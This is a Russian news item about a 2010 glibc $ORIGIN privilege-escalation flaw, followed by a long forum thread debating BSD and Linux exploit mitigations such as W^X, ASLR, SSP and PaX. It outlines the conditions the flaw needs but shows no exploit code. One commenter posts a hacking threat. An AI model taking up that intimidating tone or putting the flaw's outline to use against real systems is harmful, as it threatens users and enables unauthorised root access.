В системной библиотеки GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена (http://seclists.org/fulldisclosure/2010/Oct/257) критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов.
Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware (http://www.slackware.com/security/list.php?l=slackware-secur...),...URL: http://seclists.org/fulldisclosure/2010/Oct/257
Новость: http://www.opennet.me/opennews/art.shtml?num=28338
Оу, как страшно.
Покажи свой IP и ты узнаешь как страшно , вернее ты и не заметишь как всё закончится ;)
> Покажи свой IP и ты узнаешь как страшно , вернее ты
> и не заметишь как всё закончится ;)Я не замечу. У меня фря и зфс, и такие глупости как один раздел под все файлы я давно изжил. А в разделах в которые пользователь умеет писать нет suid файлов.
Хотя отношение разрабов не радует, давно такая бага в ядре и никто не зопатчил...
> давно такая бага в ядре и никто не зопатчил...Epic, epic, epic fail!
Hint #1: может быть, вам следует для начала научиться отличать ядро от glibc, а уже потом умничать начинать? :)
Hint #2: в природе, кстати, есть более чем одна реализация libc. И ряд линухов пользуется ими. Потому что ядро и либцэ - "немного" разные вещи.
Бага, к сожалению, не в ядре, а в glibc. Что до FreeBSD, то по наличию мер предотвращения эксплуатации уязвимостей она до сих пор находится на уровне года, эдак, 2001-го и отстаёт от NetBSD и тем более от OpenBSD. Даже ванильный линукс дальше ушёл (но при этом качество кода ядра у него на уровне второй половины 90-ых - хуже, чем у любой из первой тройки *BSD).
> Бага, к сожалению, не в ядре, а в glibc. Что до FreeBSD,
> то по наличию мер предотвращения эксплуатации уязвимостей она до сих пор
> находится на уровне года, эдак, 2001-го и отстаёт от NetBSD и
> тем более от OpenBSD.Обоснуете? Или так, ваше личное мнение?
>> Бага, к сожалению, не в ядре, а в glibc. Что до FreeBSD,
>> то по наличию мер предотвращения эксплуатации уязвимостей она до сих пор
>> находится на уровне года, эдак, 2001-го и отстаёт от NetBSD и
>> тем более от OpenBSD.
> Обоснуете? Или так, ваше личное мнение?Конечно обосную. Во FreeBSD не ни аналогов W^X, ни ASLR, ни PIE, даже возмоность сборки с SSP добавили лишь недавно. В том же CentOS всё это в той или иной мере есть (для юзерспейса). В ванильном линуксе уже реализован аналог W^X, ASLR, поддержка PIE и защита от маппинга памяти по нулевому адресу (с 2008 г.). Не говоря уже о PaX и Grsecurity, где на данный момент реализованы защиты ядра от классов уязвимостей для нескольких аппаратных архитектур, включая аналог W^X для юзерспецса (KERNEXEC), защиту от обращения по указателям на юзерспейс (UDEREF), проверки границ данных при копировании из юзерспейса в ядро (USERCOPY) и т.д.. С полным списком можете ознакомиться сами на grsecurity.net и pax.grsecurity.net + помощь в конфигураторе ядра с PaX и Grsecurity. Датировка первых реализаций PaX - 2001-2002 г. (точнее не вспомню), Grsecurity - 2003-ий год, начала аудита кода ядра и юзерспейса в OpenBSD - 96-ой год, начала включения ProPolice (SSP) - если не ошибаюсь, то 2001-ый год. В 2004-ом году (в сети есть слайды с презентации) в OpenBSD уже были W^X, аналог SSP, StackGhost (продвинутый аналог SSP для Sparc) и ASLR, в 2007-2008 г. была реализована поддержка PIE, в 2009-ом - запрет на памминг нулевого адреса. За NetBSD я не слежу, но пару-тройку лет назад они начали портировать что-то из PaX - гугль в помощь.
W^X -> технология, основанная на Х-бит? Если так, то она есть - ею можно пользоваться в userspaceUDEREF, USERCOPY -> чисто linux технология? Поскольку во FreeBSD я ею недавно пользовался (это издевка ;)
SSP -> Stack-Smashing Protector (ProPolice) это рандомная фишка gcc, которая кушает 5% на тестах, и в реальных боевых условиях не сделает из компа ракету.
Все остальные технологии основаны на рандомизации. Круто быть рандомно защищенным и платить за это усложнением поддержки разрабатываемого кода, невозможностью дебага, поднятым ручником для всех приложений.
Давайте сравним? OpenBSD во главу угла ставит параноидальную защищенность. Её можно воспринимать как платформу для обкатки технологий, которые потом появляются в других ОС. NetBSD - переносимость. DragonFlyBSD - класстеризация. FreeBSD - это платформа для продакшен серверов, которую можно и нужно сравнивать с Windows и Linux. Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD более четко разделены меж собой по подходу.
И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты системы не может считаться достаточным для целого ряда программных ошибок, способных привести к компрометации системы или хранимой ею данных. Нет гарантии, что код, призванный защитить от проникновения, сам не послужит ступенькой для злоумышленника. Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь зарекомендовавшие себя технологии.
Чтобы мой ответ не послужил темой холивора, отметичу, что на сегоднешний день ни одна ОС не может считаться идеальной. Прекрасно представляю, насколько это касается FreeBSD, поскольку мне с ней приходится более всего работать. Профессионалы знают недостатки тех систем, с которыми работают. Именно это их кормит. Хотел бы узнать, какими ОС вы занимаетесь?
> W^X -> технология, основанная на Х-бит? Если так, то она есть -
> ею можно пользоваться в userspaceНе обязательно именно на аппаратный бит. Суть именно в принципе «либо запись, либо исполнение», конкретные реализации на разных платформах могут отличаться.
> SSP -> Stack-Smashing Protector (ProPolice) это рандомная фишка gcc, которая кушает 5%
> на тестах, и в реальных боевых условиях не сделает из компа ракету.Эта фишка не раз и не два спасала собранные с её помощью приложения от эксплуатации имевшихся в них серьёзных дырок. Да и 5% — это именно результат тестов, в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения. В приложениях, завязанных на тот или иной вид I/O (а таких на боевых серверах большинство) и/или на сложную математику (шифрование и другие задачи, где немалая часть работы осуществляется в рамках одной функции), потери вообще незаметны.
> Все остальные технологии основаны на рандомизации. Круто быть рандомно защищенным и платить
> за это усложнением поддержки разрабатываемого кода, невозможностью дебага, поднятым ручником
> для всех приложений.Ну и как, скажем, PIE помешает дебагу? Если это именно дебаг, а не попытка взлома чужого бинарника. Вообще, не путайте разработку и продакшн. Для разных целей используются разные системы (в плане настройки). Для разработки особо извращённых программ, или там модулей ядра, я выставлю securelevel=-1 в /etc/rc.securelevel, подкручу несколько sysctl, и буду щаслив. А для разработки обычных и это не требуется.
Зато вражескому коду, попади он в вашу систему, придётся несладко. Шелл-код нередко ограничен считанными десятками байтов (сколько в буфер влезло, ограниченный тем же SSP), и найти, скажем, адрес нужной библиотеки ему будет сильно проблематично.
> Давайте сравним? OpenBSD во главу угла ставит параноидальную защищенность. Её можно воспринимать
> как платформу для обкатки технологий, которые потом появляются в других ОС.
> NetBSD - переносимость. DragonFlyBSD - класстеризация. FreeBSD - это платформа для
> продакшен серверов, которую можно и нужно сравнивать с Windows и Linux.
> Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD
> более четко разделены меж собой по подходу.Мир несколько сложнее, чем вы здесь утверждаете.
> И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты
> системы не может считаться достаточным для целого ряда программных ошибок, способных
> привести к компрометации системы или хранимой ею данных. Нет гарантии, что
> код, призванный защитить от проникновения, сам не послужит ступенькой для злоумышленника.
> Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь
> зарекомендовавшие себя технологии.FreeBSD — хорошая система. Но в первую очередь — для фанатов скорости работы системы. Здесь она действительно хороша. А вот по остальным пунктам (удобство установки, удобство сопровождения и обслуживания, надёжность работы) есть свои нюансы. Точно так же другие *BSD нередко портируют драйвера из FreeBSD (например, драйвера для последних поколений Ethernet-контроллеров от Intel).
> Чтобы мой ответ не послужил темой холивора, отметичу, что на сегоднешний день
> ни одна ОС не может считаться идеальной. Прекрасно представляю, насколько это
> касается FreeBSD, поскольку мне с ней приходится более всего работать. Профессионалы
> знают недостатки тех систем, с которыми работают. Именно это их кормит.
> Хотел бы узнать, какими ОС вы занимаетесь?Хоть это и не ко мне, но во избежание ненужных разборок отвечу: OpenBSD, FreeBSD, MS Windows, GNU/Linux — в порядке убывания интенсивности работы.
> Не обязательно именно на аппаратный бит. Суть именно в принципе «либо запись, либо исполнение», конкретные реализации на разных платформах могут отличаться.В смысле тот, который nX(AMD)/Xd(INTEL). Как его не назови, а суть одна. Без его использования ничего с защитой не получится. Так что это был не вопрос, а констатация факта. Что же до его использования, то запретить исполнение можно не указывая PROT_EXEC - что и делается в malloc функции неяно. Запретить записывать по месту кода - это уже делается явно. Получается, что из W^X только одна часть выполняется неявно, а другая - как технология здравого смысла. Получается, что если в коде не встречается записи W^X, то это не значит, что эта технология никак не используется в той или иной ОС. Названия порой удобно размещать в тексте учебников и рекламных буклетах. Но даже где заявленная технология есть, то это еще не значит, что кто-то специально ксорит биты W и X для страниц памяти, поскольку это мешает переносимости кода.
> ...в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения...
Всецело согласен. Штука включена в последние FreeBSD (не вспомню, с какой версии), что действительно не дает использовать некоторые из уязвимостей. В связи с его введением перестали работать некоторые старые программы. Но я все равно - просто щаслив, шо я теперь в полной безопасности! [BigHo тут немного юродствует вслух для поднятия своего настроения]
> ...securelevel...
Не понял, в чем разница если значение равно -1 и "А для разработки обычных и это не требуется". Основная мысль, тем не менее, понятна.
> Мир несколько сложнее, чем вы здесь утверждаете.
"Неуж... Черт! Будь у меня еще немного больше времени, и я бы сам мог догадаться! Нельзя же так, да еще без предупреждения разрушать последние детские илюзии! Тьфу на вас!" :)
> FreeBSD...
согласен
Ничего не могу сказать про OpenBSD, кроме нескольких интересных для меня вещей, например, замена chroot - когда процессы можно строить по ирархической схеме относительно привилегий и областей видимости друг-друга - вау! Не помню, где смотрел демонстрацию латвийского разработчика.
>[оверквотинг удален]
> то запретить исполнение можно не указывая PROT_EXEC - что и делается
> в malloc функции неяно. Запретить записывать по месту кода - это
> уже делается явно. Получается, что из W^X только одна часть выполняется
> неявно, а другая - как технология здравого смысла. Получается, что если
> в коде не встречается записи W^X, то это не значит, что
> эта технология никак не используется в той или иной ОС. Названия
> порой удобно размещать в тексте учебников и рекламных буклетах. Но даже
> где заявленная технология есть, то это еще не значит, что кто-то
> специально ксорит биты W и X для страниц памяти, поскольку это
> мешает переносимости кода.Тут и возникает дилемма: позволять использовать потенциально опасный, но как-то пашущий, код, или же принудить заменить его чем-то более безопасным, но не факт, что существующим... Не думаю, что тут есть простое универсальное решение.
>> ...в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения...
> Всецело согласен. Штука включена в последние FreeBSD (не вспомню, с какой версии),
> что действительно не дает использовать некоторые из уязвимостей. В связи с
> его введением перестали работать некоторые старые программы. Но я все равно
> - просто щаслив, шо я теперь в полной безопасности! [BigHo тут
> немного юродствует вслух для поднятия своего настроения];)
>> ...securelevel...
> Не понял, в чем разница если значение равно -1 и "А для
> разработки обычных и это не требуется".В OpenBSD securelevel=1 по дефолту. Соответственно, после установки и настройки на выбор делается "chflags schg /etc/rc.securelevel /etc/rc /sbin/init /bsd /boot /etc/boot.conf" (для параноидальности), либо "echo 'securelevel=-1' >>/etc/rc.securelevel" (для разработки модулей ядра и т.п.). Из обслуживаемых мной сейчас систем первое (вместе с установкой securelevel в 2) проделано, если правильно помню, на двух гейтвеях, а второе вообще нигде, так как заниматься отладкой обычных программ можно даже при securelevel=2.
Хотя вообще, конечно, это не столько превентивная мера, сколько частично помогающая в восстановлении системы.
> Основная мысль, тем не менее, понятна.
Ну и отлично. :)
>> Мир несколько сложнее, чем вы здесь утверждаете.
> "Неуж... Черт! Будь у меня еще немного больше времени, и я бы
> сам мог догадаться! Нельзя же так, да еще без предупреждения разрушать
> последние детские илюзии! Тьфу на вас!" :)Передавайте привет вашей категоричности. :)
> Ничего не могу сказать про OpenBSD, кроме нескольких интересных для меня вещей,
> например, замена chroot - когда процессы можно строить по ирархической схеме
> относительно привилегий и областей видимости друг-друга - вау! Не помню, где
> смотрел демонстрацию латвийского разработчика.Если вы про sysjail, то с ним всё несколько грустно, т.к. требуется обойти фундаментальную проблему с systrace(4), связанную с race condition в многопоточных приложениях... :( Так что пока что systrace хорош лишь, скажем, для ловли кривых установочных скриптов в портах (собираю всё с USE_SYSTRACE=Yes, ни разу не пожалел).
> Тут и возникает дилемма: позволять использовать потенциально опасный, но как-то пашущий,
> код, или же принудить заменить его чем-то более безопасным, но не
> факт, что существующим... Не думаю, что тут есть простое универсальное решение.Вот только в PaX почему-то такой дилеммы не вознает. ;)
> Если вы про sysjail, то с ним всё несколько грустно, т.к. требуется
> обойти фундаментальную проблему с systrace(4), связанную с race condition в многопоточных
> приложениях... :(Этот рейс кондишен связан с уходом Provos'а и отсутствием других желающих реализовать lookaside-буфер в ядре, как в systrace для линукса. :)
>>> ...securelevel...
>> Не понял, в чем разница если значение равно -1 и "А для
>> разработки обычных и это не требуется".
> В OpenBSD securelevel=1 по дефолту. Соответственно, после установки и настройки на выбор
> делается "chflags schg /etc/rc.securelevel /etc/rc /sbin/init /bsd /boot /etc/boot.conf"
> (для параноидальности), либо "echo 'securelevel=-1' >>/etc/rc.securelevel" (для разработки
> модулей ядра и т.п.). Из обслуживаемых мной сейчас систем первое (вместе
> с установкой securelevel в 2) проделано, если правильно помню, на двух
> гейтвеях, а второе вообще нигде, так как заниматься отладкой обычных программ
> можно даже при securelevel=2.Не в курсе был про такое поведение OpenBSD.
> Передавайте привет вашей категоричности. :)
Видимо серьезный тон задает фон категоричности. Интересно - надо запомнить)
> Если вы про sysjail, то с ним всё несколько грустно, т.к. требуется
> обойти фундаментальную проблему с systrace(4), связанную с race condition в многопоточных
> приложениях... :( Так что пока что systrace хорош лишь, скажем, для
> ловли кривых установочных скриптов в портах (собираю всё с USE_SYSTRACE=Yes, ни
> разу не пожалел).Ага, про sysjail! Год назад где-то смотрел на ютубе и очень жалел, что у меня не OpenBSD. Красивая задумка.
>> Не обязательно именно на аппаратный бит. Суть именно в принципе «либо запись, либо исполнение», конкретные реализации на разных платформах могут отличаться.
> В смысле тот, который nX(AMD)/Xd(INTEL). Как его не назови, а суть одна.Существует как минимум две альтернативных, архитектурно-зависимых реализаций W^X - на базе сегментации в x86 (как в PaX/SEGMEXEC) и на базе разделения памяти на исполняемый и неисполняемый регионы с помощью MTRR (как в OpenBSD для x86, если мне склероз не изменяет).
> Без его использования ничего с защитой не получится. Так что это
> был не вопрос, а констатация факта. Что же до его использования,Констатация не удалась. :)
> то запретить исполнение можно не указывая PROT_EXEC - что и делается
> в malloc функции неяно. Запретить записывать по месту кода - этоЯ бы даже больше сказал: чтобы запретить исполнение, _нужно_ не указывать PROT_EXEC. :))
> уже делается явно. Получается, что из W^X только одна часть выполняется
> неявно, а другая - как технология здравого смысла. Получается, что еслиНе понял, что вы здесь имели ввиду.
> в коде не встречается записи W^X, то это не значит, что
> эта технология никак не используется в той или иной ОС. НазванияЕсли где-то в памяти процесса (например, на стеке, в .data или тем более в .txt) есть исполняемые страницы, то и говорить не о чем. А уязвимости к повреждению динамической памяти одним запретом на исполнение кучи не изведёшь. Кстати, во FreeBSD один из самых уязвимых аллокаторов - это же так практично, всюду гнаться за скоростью...
Впрочем, если во FreeBSD действительно взялись за реализацию W^X (и доведут до ума), лично я буду только рад.
> порой удобно размещать в тексте учебников и рекламных буклетах. Но даже
> где заявленная технология есть, то это еще не значит, что кто-то
> специально ксорит биты W и X для страниц памяти, поскольку это
> мешает переносимости кода.Вы о чём? Сдаётся мне, во FreeBSD их именно что xor'ят - едва ли осилили альтернативы. Хотя на сегодня эти альтернативы редко актуальны.
>> ...в реальности паразитная нагрузка ниже, так как относится только к контексту выполнения приложения...
> Всецело согласен. Штука включена в последние FreeBSD (не вспомню, с какой версии),
> что действительно не дает использовать некоторые из уязвимостей. В связи с
> его введением перестали работать некоторые старые программы. Но я все равно
> - просто щаслив, шо я теперь в полной безопасности! [BigHo тут
> немного юродствует вслух для поднятия своего настроения]А вот у меня всё работает, потому что в PaX реализовано избирательное включение/отключение отдельных механизмов защиты для отдельного экзешника через простую утилиту paxctl, и для отладки мне не надо пересобирать что-либо без W^X, в отличие от той же OpenBSD. И сдаётся мне, что теперь и в отличие от FreeBSD. ;)
> последние детские илюзии! Тьфу на вас!" :)
Ваши слова всё сложнее воспринимать всерьёз.
> Не обязательно именно на аппаратный бит.Аппаратная защита надежнее программной. Одно дело если проц на уровне железа exception сразу по факту жахнет, и другое если софт программно отловит. Это и программно же надурить можно, и затратнее по ресурсам.
> Суть именно в принципе «либо запись, либо исполнение», конкретные
> реализации на разных платформах могут отличаться.Но аппаратная как правило внушает больше доверия. Все-таки честная защита страниц памяти с различными атрибутами - одно, а ее программная эмуляция - совсем другое.
> в реальности паразитная нагрузка ниже,
А это как проверялось?
> работы осуществляется в рамках одной функции),
Звучит логично, кроме одного момента: а как определялось соотношение тех или иных операций?
>> Не обязательно именно на аппаратный бит.
> Аппаратная защита надежнее программной. Одно дело если проц на уровне железа exception
> сразу по факту жахнет, и другое если софт программно отловит. Это
> и программно же надурить можно, и затратнее по ресурсам.
>> Суть именно в принципе «либо запись, либо исполнение», конкретные
>> реализации на разных платформах могут отличаться.
> Но аппаратная как правило внушает больше доверия. Все-таки честная защита страниц памяти
> с различными атрибутами - одно, а ее программная эмуляция - совсем
> другое.Вы бы хоть с предметом ознакомились сначала. Ну хотя бы в Википедию заглянули, если лень глубоко лезть:
W^X is relatively simple on processors which support fine-grained page permissions, such as Sun's SPARC and SPARC64, AMD's AMD64, Hewlett-Packard's PA-RISC, and HP's (originally Digital Equipment Corporation's) Alpha; some early Intel 64 processors lacked the NX bit required for W^X, but this appeared in later chips. On processors with more limited features, such as the Intel i386, W^X requires using the CS code segment limit as a "line in the sand," a point in the address space above which execution is not permitted and data is located, and below which it is allowed and executable pages are placed.[2] On all platforms, linker changes were required to separate code (such as trampolines and other code needed for linker and library runtime functions) and data.
>> в реальности паразитная нагрузка ниже,
> А это как проверялось?Это может проверить любой желающий, собрав и слинковав статически (чтобы имеющиеся либы не мешались) два бинарника, один с SSP, другой без. На разных задачах цифры будут разные. НО! В силу изложенных мною причин (которые вы почему-то обрезали) итоговые цифры будут меньше 5%.
Справедливости ради отмечу, что первые реализации SSP, если правильно помню, доводили потери производительности до 20%.
>> работы осуществляется в рамках одной функции),
> Звучит логично, кроме одного момента: а как определялось соотношение тех или иных
> операций?Вам рассказать, что такое profiling? :)
> Вы бы хоть с предметом ознакомились сначала. Ну хотя бы в Википедию
> заглянули, если лень глубоко лезть:И правда, про возможность поюзать CS чтобы сделать изоляцию я все-таки пробакланил. Это тоже аппаратно, хоть и через жо, как это обычно и бывает в х86. Кстати, я правильно понимаю что CS в х86 не менябелен из юзермода? (да, я хреново знаю x86 архитектуру, особенно ее ископаемую инкарнацию i386 и сопутствующие костыли - чего уж скрывать?).
>>> в реальности паразитная нагрузка ниже,
>> А это как проверялось?
> Это может проверить любой желающий, собрав и слинковав статически (чтобы имеющиеся либы
> не мешались) два бинарника, один с SSP, другой без.Разумеется, только я надеялся что для типовых приложений это уже сделали :)
> вы почему-то обрезали) итоговые цифры будут меньше 5%.
Ну вот мне и интересно - а есть какая-то статистика, особенно по всякому там сжатию и шифрованию? Про I/O - оно разумеется и дураку понятно.
> Справедливости ради отмечу, что первые реализации SSP, если правильно помню, доводили
> потери производительности до 20%.Мне почему-то кажется что это сильно зависит от природы задачи.
> Вам рассказать, что такое profiling? :)
Давайте, а я расскажу вам взамен что такое троллинг, т.к. вы излишне едки чего-то :). На самом деле я думал что вы замеряли и что можете назвать типичные цифры для типичных программ :)
>> Вы бы хоть с предметом ознакомились сначала. Ну хотя бы в Википедию
>> заглянули, если лень глубоко лезть:
> И правда, про возможность поюзать CS чтобы сделать изоляцию я все-таки пробакланил.
> Это тоже аппаратно, хоть и через жо, как это обычно и
> бывает в х86. Кстати, я правильно понимаю что CS в х86
> не менябелен из юзермода? (да, я хреново знаю x86 архитектуру, особенно
> ее ископаемую инкарнацию i386 и сопутствующие костыли - чего уж скрывать?).В защищённом режиме — да, CS и SS нельзя произвольно менять.
>>>> в реальности паразитная нагрузка ниже,
>>> А это как проверялось?
>> Это может проверить любой желающий, собрав и слинковав статически (чтобы имеющиеся либы
>> не мешались) два бинарника, один с SSP, другой без.
> Разумеется, только я надеялся что для типовых приложений это уже сделали :)Думаю, в рассылках GCC можно поискать, я не заморачивался, так как не видел повода.
>> вы почему-то обрезали) итоговые цифры будут меньше 5%.
> Ну вот мне и интересно - а есть какая-то статистика, особенно по
> всякому там сжатию и шифрованию? Про I/O - оно разумеется и
> дураку понятно.Повторюсь, сам не собирал. Попробуйте собрать сами, если интересно... В конце концов, чем Фороникс лучше? ;)
>> Справедливости ради отмечу, что первые реализации SSP, если правильно помню, доводили
>> потери производительности до 20%.
> Мне почему-то кажется что это сильно зависит от природы задачи.Безусловно.
>> Вам рассказать, что такое profiling? :)
> Давайте, а я расскажу вам взамен что такое троллинг, т.к. вы излишне
> едки чего-то :).Настроение хреновое, прошу прощения.
> На самом деле я думал что вы замеряли
> и что можете назвать типичные цифры для типичных программ :)Сам не замерял, встречал упоминания чужих замеров. Поскольку сильной разницы между скоростью работы программ в ОС, в которых нет SSP и в которых оно есть, я не замечал, то и поводов детально ковыряться в этих процентах не видел. :) Повторюсь, я даже порты собираю исключительно с использованием systrace, что хотя и даёт задержку, по моим подсчётам (это я как раз замерял несколько раз) примерно на 15%, всё же позволяет быть уверенным, что кривокостыльный инсталлятор какого-нибудь JDK не залезет, куда не положено, чисто по собственной тупости.
> Думаю, в рассылках GCC можно поискать, я не заморачивался, так как не
> видел повода.Там в одних тестах на синтетике оверхед был до 36%. В других хоть и тестировались реальные приложения и библиотеки, но в искусственных условиях, и оверхед был где-то в диапазоне 0.5-15%. В реальных условиях как правило всё упирается в IOOPS, PPS, CSPS и прочие страшные слова - хорошо помогает только оптимизация архитектуры, мультиплексирование, кэширование и более тщательный подход к выбору и настройке железа и ОС.
>> Не обязательно именно на аппаратный бит.
> Аппаратная защита надежнее программной.Зависит от того, что имеется ввиду под программной и под аппаратной защитой. Современные (маргинальные ;) языки с безопасными типами и среды на их базе с программной изоляцией задач гораздо безопаснее аппаратных костылей (как раз они реализованы в PaX и т.п.) для приложений на языках с небезопасными типами, вроде C/C++.
> Одно дело если проц на уровне железа exception
> сразу по факту жахнет, и другое если софт программно отловит. Это
> и программно же надурить можно, и затратнее по ресурсам.На некоторых архитектурах, включая x86, защиту страниц/регионов памяти от выполнения можно реализовать и без NX-бита.
>> в реальности паразитная нагрузка ниже,
> А это как проверялось?Бенчмарками приложений, решающих конкретные поставленные задачи, до и после внедрения SSP (и других подобных мер). Это элементарно.
>> работы осуществляется в рамках одной функции),
> Звучит логично, кроме одного момента: а как определялось соотношение тех или иных
> операций?Да не надо их определять - надо тестировать и выявлять узкие места. И выявляются они отнюдь не в SSP.
> Зависит от того, что имеется ввиду под программной и под аппаратной защитой.
> Современные (маргинальные ;) языки с безопасными типами и среды на их
> базе с программной изоляцией задач гораздо безопаснее аппаратных костылейВсе бы ничего, но в таковых средах, типа Java/.NET/PHP/whatever ... почему-то находят уязвимости, пачками. Колосс получается на глиняных ногах. А общая монструозность таких сред заведомо гарантирует что там будут кучи багов. ИМХО большой вопрос что там дырявее окажется: демон на 10 кило на си, или демон на 10 кило на типобезопасном языке + 100 мегов среды этого типобезопасного (писаные как правило на все тех же типоопасных сях).
> (как раз они реализованы в PaX и т.п.) для приложений на языках с
> небезопасными типами, вроде C/C++.Хз, почему-то все хотят видеть панацею в таких языках, но по факту - как-то сильно лучше не становится. Ну да, там вместо переполнений буферов - sql injection, php includes всякие и т.п.. И даже назойливый XSS как оказалось может быть более зловредной штукой чем можно полумать: AFAIK, кто-то пустил по твиттеру саморазмножающегося червя на JS, который будучи выполненым жертвой ... постит сам себя заново. Вполне себе этакое самоходное ПО :). В общем старые проблемы решили (если бы :D), новых насоздавали.
> На некоторых архитектурах, включая x86, защиту страниц/регионов памяти от выполнения можно
> реализовать и без NX-бита.Ну вообще да, я тут погорячился - перерезус тут уже зацитировал про реализацию с CS. Это видимо даже катит, хоть и костыль в духе x86, как обычно :)
> Бенчмарками приложений, решающих конкретные поставленные задачи, до и после внедрения
> SSP (и других подобных мер). Это элементарно.А результаты сообщить не хотите для разных программ?
> Да не надо их определять - надо тестировать и выявлять узкие места.
> И выявляются они отнюдь не в SSP.Вообще, звучит разумно.
> Все бы ничего, но в таковых средах, типа Java/.NET/PHP/whatever ... почему-то находятJava/.NET/PHP - это разве маргинальные языки/платформы? Это угодные индустрии комбайны. Я имел ввиду Erlang, например, или обероны.
> уязвимости, пачками. Колосс получается на глиняных ногах. А общая монструозность таких
Уязвимости там связаны с применением внешних интерфейсов, небезопасным выполнением опкодов, логическими ошибками в методах изоляции привилегированного кода и линковкой с библиотеками на языках с небезопасными типами. То есть, интерфейсы (а ля JNLP) надо использовать, опкоды - внедрить в песочницу, запустить потенциально опасный код или пользоваться foreign-библиотеками (или встроенными функциями). В случае с демоном, написанным на языке под ту же JVM, эти условия в большинстве случаев не соблюдаются, либо их можно несоблюсти намеренно. Попробуйте найти информацию хотя бы об одной уязвимости в этих средах, не связанную с соблюдением одного из выше перечисленных условий.
> сред заведомо гарантирует что там будут кучи багов. ИМХО большой вопрос
Багов, связанных с ошибкой в реализации безопасных типов, там нет (но ничтожную вероятность их наличия я не отрицаю).
> что там дырявее окажется: демон на 10 кило на си, или
> демон на 10 кило на типобезопасном языке + 100 мегов среды
> этого типобезопасного (писаные как правило на все тех же типоопасных сях).Демон на си будет дырявее. А 100 мегов среды - это зарезервированная динамическая память, библиотеки (которые часто нельзя маппить прямо в память и в таком виде использовать, как секции в том же ELF) и память для JIT-компиляции. По-моему, это безобразие, но вполне терпимое. Хорошие (все они маргинальные) типобезопасные языки от таких недостатков свободны.
>> (как раз они реализованы в PaX и т.п.) для приложений на языках с
>> небезопасными типами, вроде C/C++.
> Хз, почему-то все хотят видеть панацею в таких языках, но по фактуЭто не панацея, а средство избавления от классов наиболее серьёзных ошибок.
> - как-то сильно лучше не становится. Ну да, там вместо переполнений
> буферов - sql injection, php includes всякие и т.п.. И даже
> назойливый XSS как оказалось может быть более зловредной штукой чем можно
> самоходное ПО :). В общем старые проблемы решили (если бы :D),
> новых насоздавали.Вы сейчас опровергаете свои же слова о типобезопасности как панацеи.
> А результаты сообщить не хотите для разных программ?
Хочу, но не помню. Оверхед был крайне незначительный, на уровне погрешности вычислений. Вещи, вроде PaX/MEMORY_SANITIZE в отдельных случаях съедают гораздо больше, и это для нас приемлемо. Регрессий производительности не наблюдается.
> Вообще, звучит разумно.
Кроме того, рост потребности в ресурсах должен прогнозироваться и обеспечиваться материально (докупить железо, провести оптимизацию архитектуры/алгоритмов и т.п.), иначе итогом будет захлёб и простои.
> W^X -> технология, основанная на Х-бит? Если так, то она есть -
> ею можно пользоваться в userspaceВозможно, в последних версиях FreeBSD действительно появился аналог W^X, но я об этом ничего не слышал. Полтора года назад в 7.x ничего подобного не было. Но вы, скорее всего, имеете ввиду возможность вручную (из кода приложения) фактически маппить страницы без PROT_EXEC - в плане безопасности в общем случае это не даёт ничего.
> UDEREF, USERCOPY -> чисто linux технология? Поскольку во FreeBSD я ею недавно
> пользовался (это издевка ;)И в чём смысл издёвки? Дать собеседнику понять, что он зря тратит время на троллей? По UDEREF для x86 есть документация на pax.grsecurity.net, по UDEREF для amd64 есть вводная в архивах рассылки Grsecurity. Плюс хелп в конфигураторе ядра для большинства механизмов защиты. Если интересно, изучайте - я для того все названия и привожу.
> SSP -> Stack-Smashing Protector (ProPolice) это рандомная фишка gcc, которая кушает 5%
> на тестах, и в реальных боевых условиях не сделает из компа
> ракету.Знаете, есть задачи, где и 80% падение производительности оправдано, а вы о 5%... Например, вам лично важны эти 5% (допустим, что именно 5, а не 0.5 или 2) от скорости работы sudo? Или от скорости парсингда ASN.1 на этапе обработки сертификатов, при том что на последующих стадиях блочные шифры оптимизированы в ассемблере или сгружены на акселератор? Почитайте историю OpenSSL - в его парсере ASN.1 в принципе уже были уязвимости.
К тому же, никто не заставляет вас терпеть SSP там, где не хотите - просто собирайте без -fstack-protector[-all]. В Hardened Gentoo для этого можно просто выбрать профиль компилятора. Однако, во FreeBSD до недавнего времени (без сторонних патчей) нельзя было ничего собрать с SSP - выбора почти никакого. С патчами (в т.ч. для включения рандомизации) я и сам собирал, но это лишние затраты на сопровождение и риски, связанные с потенциально нестабильной (никем не протестированной) кодовой базой.
> Все остальные технологии основаны на рандомизации. Круто быть рандомно защищенным и платить
> за это усложнением поддержки разрабатываемого кода, невозможностью дебага, поднятым ручником
> для всех приложений.Да ну? В gdb 7.x есть поддержка PIE. В случае с PaX рандомизацию и MPROTECT можно отключить с пол пинка через paxctl. И так уж ручником? Лет 6 пользуюсь "ручниками", а тормоза наблюдал только по вине багов в коде основной ветки ядре, с безопасностью не связанных.
> Давайте сравним? OpenBSD во главу угла ставит параноидальную защищенность. Её можно воспринимать
Защищённость в OpenBSD пришла почти случайно, по колее гонки за корректностью, и очень часто, невзирая на репутацию, там поступаются безопасностью ради корректности и простоты (сопровождения кода).
> как платформу для обкатки технологий, которые потом появляются в других ОС.
Так они до сих пор нигде и не появились, по большему счёту. PaX и Grsecurity в линуксе начались раньше, независимо. Это к слову.
> NetBSD - переносимость.
Линукс уже работает на большем количестве платформ, и это не мешает ему служить для эффективного решения других задач. Тоже к слову.
> DragonFlyBSD - класстеризация.
Экспериментальная ОС, в которой кластеризация - лишь следствие принятых подходов, направленных на совершенствование архитектуры и повышение эффективности параллельных вычислений.
> FreeBSD - это платформа для
